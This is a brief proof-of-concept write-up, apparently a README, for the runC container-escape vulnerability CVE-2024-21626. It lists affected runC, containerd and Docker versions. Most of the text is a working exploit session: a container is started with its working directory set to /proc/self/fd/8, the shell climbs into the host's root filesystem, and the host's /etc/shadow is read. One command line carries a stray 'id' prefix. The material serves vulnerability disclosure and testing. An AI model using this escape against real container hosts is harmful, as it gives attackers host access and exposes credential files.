RunC - CVE-2024-21626

runC, a container runtime component, published version 1.1.12 to fix CVE-2024-21626 at 31, Jan 2024, which leads to escaping from containers.

Affected versions.. .. runC v1.0.0-rc93 - 1.1.11. .. containerd 1.4.7 - 1.6.27 and 1.7.0 - 1.7.12. .. Docker <=25.0.1.

POC

• Make sure the user is in the docker group, and RunC running a vulnerable version.

• Start a new container and set the working directory to /proc/self/fd/<fd> (where <fd> stands for the file descriptor when opening /sys/fs/cgroup in host filesystem. Usually it’s 7 or 8).

cve-2024-21626 ➜ id
uid=1000(user) ... snip ...,998(docker)

cve-2024-21626 ➜ runc --version
runc version 1.1.5+ds1
commit: 1.1.5+ds1-1+b4
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4

cve-2024-21626 ➜ id docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
... snip ...
root@7185badc969c:.# pwd
pwd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@7185badc969c:.# ls -al
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@7185badc969c:.# cd ../../
root@7185badc969c:../..# ls -al
total 88
drwxr-xr-x  19 root root  4096 Oct 31 11:20 .
drwxr-xr-x  19 root root  4096 Oct 31 11:20 ..
drwx------   2 root root  4096 Oct 31 10:17 .cache
lrwxrwxrwx   1 root root     7 Oct 31 09:44 bin -> usr/bin
drwxr-xr-x   3 root root  4096 Oct 31 11:24 boot
drwxr-xr-x  17 root root  3420 Feb  8 07:46 dev
drwxr-xr-x 199 root root 12288 Jan 26 11:22 etc
drwxr-xr-x   3 root root  4096 Oct 31 10:58 home
lrwxrwxrwx   1 root root    33 Oct 31 11:20 initrd.img -> boot/initrd.img-6.5.0-kali3-amd64
lrwxrwxrwx   1 root root    33 Oct 31 09:46 initrd.img.old -> boot/initrd.img-6.3.0-kali1-amd64
lrwxrwxrwx   1 root root     7 Oct 31 09:44 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Oct 31 09:44 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Oct 31 09:44 lib64 -> usr/lib64
drwx------   2 root root 16384 Oct 31 09:44 lost+found
drwxr-xr-x   3 root root  4096 Oct 31 09:44 media
drwxr-xr-x   3 root root  4096 Nov  8 13:45 mnt
drwxr-xr-x   3 root root  4096 Oct 31 10:11 opt
dr-xr-xr-x 227 root root     0 Feb  8 07:46 proc
drwx------   7 root root  4096 Feb  7 11:07 root
drwxr-xr-x  37 root root   980 Feb  8 07:46 run
lrwxrwxrwx   1 root root     8 Oct 31 09:44 sbin -> usr/sbin
drwxr-xr-x   3 root root  4096 Oct 31 10:17 srv
dr-xr-xr-x  13 root root     0 Feb  8 07:46 sys
drwxrwxrwt  14 root root 12288 Feb  8 10:55 tmp
drwxr-xr-x  15 root root  4096 Oct 31 11:14 usr
drwxr-xr-x  12 root root  4096 Oct 31 11:31 var
lrwxrwxrwx   1 root root    30 Oct 31 11:20 vmlinuz -> boot/vmlinuz-6.5.0-kali3-amd64
lrwxrwxrwx   1 root root    30 Oct 31 09:46 vmlinuz.old -> boot/vmlinuz-6.3.0-kali1-amd64

root@7185badc969c:../../..# cat etc/shadow
user:$y$ZZZ$XXXX:19661:0:99999:7:::

More in-depth information here: https://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd